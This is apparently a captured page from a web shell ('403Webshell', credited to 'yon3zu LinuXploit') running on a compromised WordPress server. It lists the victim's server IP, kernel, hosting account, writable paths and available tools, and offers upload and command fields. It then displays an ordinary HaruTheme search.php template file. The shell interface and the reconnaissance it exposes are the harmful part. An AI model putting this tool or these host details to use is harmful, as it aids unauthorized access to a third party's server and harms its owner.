403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/www/wp-content/themes/frames/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/www/wp-content/themes/frames/templates/search.php
<?php 
/**
 * @package    HaruTheme
 * @version    1.0.0
 * @author     Administrator <admin@harutheme.com>
 * @copyright  Copyright (c) 2017, HaruTheme
 * @license    http://opensource.org/licenses/gpl-2.0.php GPL v2 or later
 * @link       http://harutheme.com
*/

// Process Archive options
$archive_layout = get_post_meta( get_the_ID(), 'haru_layout', true );
if ( ( $archive_layout == '' ) || ( $archive_layout == 'default' ) ) {
    $archive_layout = haru_get_option( 'haru_archive_layout', 'container' );
}

$archive_sidebar = get_post_meta( get_the_ID(), 'haru_sidebar', true );
if ( ( $archive_sidebar == '' ) || ( $archive_sidebar == 'default' ) ) {
    $archive_sidebar = haru_get_option( 'haru_archive_sidebar', 'left' );
}

$archive_left_sidebar = get_post_meta( get_the_ID(), 'haru_left_sidebar', true );
if ( ( $archive_left_sidebar == '' ) || ( $archive_left_sidebar == 'default' ) ) {
    $archive_left_sidebar = haru_get_option( 'haru_archive_left_sidebar', 'sidebar-1' );
}

$archive_right_sidebar = get_post_meta( get_the_ID(), 'haru_right_sidebar', true );
if ( ( $archive_right_sidebar == '' ) || ( $archive_right_sidebar == 'default' ) ) {
    $archive_right_sidebar = haru_get_option( 'haru_archive_right_sidebar', 'sidebar-1' );
}

$archive_display_type = haru_get_option( 'haru_archive_display_type', 'large-image' );
$archive_columns = haru_get_option( 'haru_archive_display_columns', '3' );
$archive_paging_style = haru_get_option( 'haru_archive_paging_style', 'default' );

if ( in_array( $archive_display_type, array( 'grid' ) ) ) {
    $layout_classes[] = 'layout-wrap';
    $layout_classes[] = 'grid-columns';
    $layout_classes[] = 'grid-columns-' . esc_attr( $archive_columns );
} else {
    $layout_classes[] = '';
}

?>
<?php
    /**
     * @hooked - haru_page_heading - 5
     **/
    do_action( 'haru_before_page' );
?>
<div class="haru-archive-blog <?php echo esc_attr( $archive_layout == 'full' ? '' : 'haru-container' ); ?>">

    <!-- Content -->
    <div class="archive-content <?php if ( is_active_sidebar( $archive_left_sidebar ) && in_array( $archive_sidebar, array( 'left', 'two' ) ) ) echo esc_attr( 'has-left-sidebar' ); ?> <?php if ( is_active_sidebar( $archive_right_sidebar ) && in_array( $archive_sidebar, array( 'right', 'two' ) ) ) echo esc_attr( 'has-right-sidebar' ); ?>">
        
        <div class="archive-content-layout layout-<?php echo esc_attr( $archive_display_type ); ?> <?php echo esc_attr( join( ' ', $layout_classes ) ); ?>">

                <?php
                    if ( have_posts() ) :
                        // Start the Loop.
                        while ( have_posts() ) : the_post();
                            /*
                             * Include the post format-specific template for the content. If you want to
                             * use this in a child theme, then include a file called called content-___.php
                             * (where ___ is the post format) and that will be used instead.
                             */
                            get_template_part( 'templates/archive/content' , get_post_format() );
                        endwhile;
                    else :
                        // If no content, include the "No posts found" template.
                        get_template_part( 'templates/archive/content-none');
                    endif;
                ?>
        </div>

        <?php
            global $wp_query;
            if ( $wp_query->max_num_pages > 1 ) :
        ?>
            <div class="archive-pagination <?php echo esc_attr( $archive_paging_style ); ?>">
                <?php
                    switch( $archive_paging_style ) {
                        case 'load-more':
                            haru_paging_load_more();

                            break;

                        case 'infinity-scroll':
                            haru_paging_infinitescroll();
                            
                            break;

                        default:
                            haru_paging_nav();
                            break;
                    }
                ?>
            </div>
        <?php endif; ?>
    </div>

    <!-- Sidebar -->
    <?php if ( is_active_sidebar( $archive_left_sidebar ) && in_array( $archive_sidebar, array( 'left', 'two' ) ) ) : ?>
        <div class="archive-sidebar left-sidebar">
            <?php dynamic_sidebar( $archive_left_sidebar ); ?>
        </div>
    <?php endif; ?>
    <?php if ( is_active_sidebar( $archive_right_sidebar ) && in_array( $archive_sidebar, array( 'right', 'two' ) ) ) : ?>
        <div class="archive-sidebar right-sidebar">
            <?php dynamic_sidebar( $archive_right_sidebar );?>
        </div>
    <?php endif; ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit